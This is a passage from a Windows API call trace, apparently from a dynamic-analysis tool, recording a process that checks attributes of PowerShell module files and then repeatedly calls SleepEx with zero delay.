(lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV\\UEV.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\uev\\uev.psd1")) returned 0x20 [0095.057] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils\\microsoft.powershell.odatautils.psd1")) returned 0x20 [0095.058] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement\\eventtracingmanagement.psd1")) returned 0x20 [0095.059] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\pester.psd1")) returned 0x20 [0095.059] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Dism\\Dism.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\dism\\dism.psd1")) returned 0x20 [0095.063] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\microsoft.powershell.security.psd1")) returned 0x20 [0095.063] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1")) returned 0x20 [0095.063] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsDeveloperLicense\\WindowsDeveloperLicense.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowsdeveloperlicense\\windowsdeveloperlicense.psd1")) returned 0x20 [0095.063] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Wdac\\Wdac.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\wdac\\wdac.psd1")) returned 0x20 [0095.106] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient\\AppvClient.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\appvclient\\appvclient.psd1")) returned 0x20 [0095.109] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSecurity\\NetSecurity.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netsecurity\\netsecurity.psd1")) returned 0x20 [0095.110] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\pester.psm1")) returned 0x20 [0095.110] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0095.110] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0095.110] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host\\microsoft.powershell.host.psd1")) returned 0x20 [0095.111] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\NetNat.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\netnat.psd1")) returned 0x20 [0095.112] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.2\\psreadline.psd1")) returned 0x20 [0095.112] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadLine.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.2\\psreadline.psm1")) returned 0x20 [0095.113] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadLine.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.1\\psreadline.psm1")) returned 0x20 [0095.114] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1")) returned 0x20 [0095.114] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\PrintManagement.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement\\printmanagement.psd1")) returned 0x20 [0095.115] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DnsClient\\DnsClient.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\dnsclient\\dnsclient.psd1")) returned 0x20 [0095.116] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx\\Appx.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\appx\\appx.psd1")) returned 0x20 [0095.116] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.3.5\\pester.psd1")) returned 0x20 [0095.116] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.4.0\\pester.psd1")) returned 0x20 [0095.116] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetEventPacketCapture\\NetEventPacketCapture.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\neteventpacketcapture\\neteventpacketcapture.psd1")) returned 0x20 [0095.117] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\bitstransfer\\bitstransfer.psd1")) returned 0x20 [0095.117] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PKI\\PKI.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\pki\\pki.psd1")) returned 0x20 [0095.117] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management\\Microsoft.WSMan.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management\\microsoft.wsman.management.psd1")) returned 0x20 [0095.118] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International\\International.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\international\\international.psd1")) returned 0x20 [0095.118] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds\\Kds.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\kds\\kds.psd1")) returned 0x20 [0095.118] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowserrorreporting\\windowserrorreporting.psm1")) returned 0x20 [0095.119] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1")) returned 0x20 [0095.119] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0095.119] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive\\microsoft.powershell.archive.psd1")) returned 0x20 [0095.119] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot\\SecureBoot.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\secureboot\\secureboot.psd1")) returned 0x20 [0095.120] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.199] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.246] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.293] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.340] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.390] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.574] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.703] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.732] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.750] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.855] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.880] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.891] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.915] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.943] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.964] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.972] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.002] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.076] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.095] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.138] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.202] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.222] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.230] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.276] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.325] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.371] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.376] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.420] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.460] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.524] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.547] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.552] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.600] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.605] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.681] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.726] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.763] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.801] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.824] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.838] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.875] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.920] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.964] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0097.009] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0097.081] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0097.118] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0097.292] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0097.345] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0097.388] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0097.435] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0097.742] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0097.780] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0097.894] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.010] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.049] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.072] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.115] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.143] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.148] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.180] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.191] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.278] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.371] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.418] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.465] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.516] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.559] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.607] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.658] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.718] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.765] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.803] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.880] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.912] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.916] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.927] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.974] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0099.022] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0099.134] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0099.236] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0099.302] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0099.349] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0099.395] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0099.458] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0099.517] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0099.552] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0099.599] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0099.648] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0099.677] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0099.724] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0099.771] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0099.817] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0099.958] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0100.005] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0100.052] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0100.124] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0100.178] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0100.230] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.974] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0107.135] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0107.259] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0107.384] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0107.511] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0107.683] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0107.823] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0107.947] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0108.217] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0108.310] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0108.435] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0108.530] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0108.623] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0108.751] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0108.892] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0108.951] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0108.998] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0109.141] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0109.233] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0109.310] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0109.429] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0109.566] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0109.666] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0109.790] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0109.947] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0110.182] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0110.321] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0110.463] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0110.603] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0110.791] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0110.900] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0111.040] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0111.181] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0111.259] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0111.390] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0111.525] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0111.603] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0111.681] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0111.728] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0111.838] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0111.931] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0112.197] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0112.259] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0112.337] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0112.384] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0112.447] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0112.494] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0112.747] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0112.955] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.188] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.313] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.440] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.485] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.580] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.802] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.858] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.929] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.001] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.084] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.178] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.251] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.361] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.488] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.610] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.704] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.751] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.829] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.926] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.990] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.030] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.119] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.230] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.238] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.285] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.339] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.363] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.428] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.477] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.530] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.691] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.809] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.923] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0119.037] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0119.150] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0119.249] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0119.304] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0119.345] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0119.423] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0119.482] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0119.537] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0119.711] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0119.996] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0120.449] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0120.496] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0120.503] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0120.512] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0120.577] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0120.590] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0120.639] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0120.654] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0120.769] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0120.829] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0120.890] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0120.946] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.024] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.074] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.191] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.209] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.289] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.342] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.441] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.515] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.590] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.677] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.757] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.872] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.979] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.132] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.141] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.224] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.326] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.515] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.574] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.582] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.652] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.663] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.664] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.669] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.678] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.681] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.702] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.722] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.791] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.839] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.895] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.933] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.939] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.978] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.016] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.040] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.050] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.052] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.057] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.073] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.086] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.095] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.098] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.131] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.231] SleepEx (dwMilliseconds=0x0, 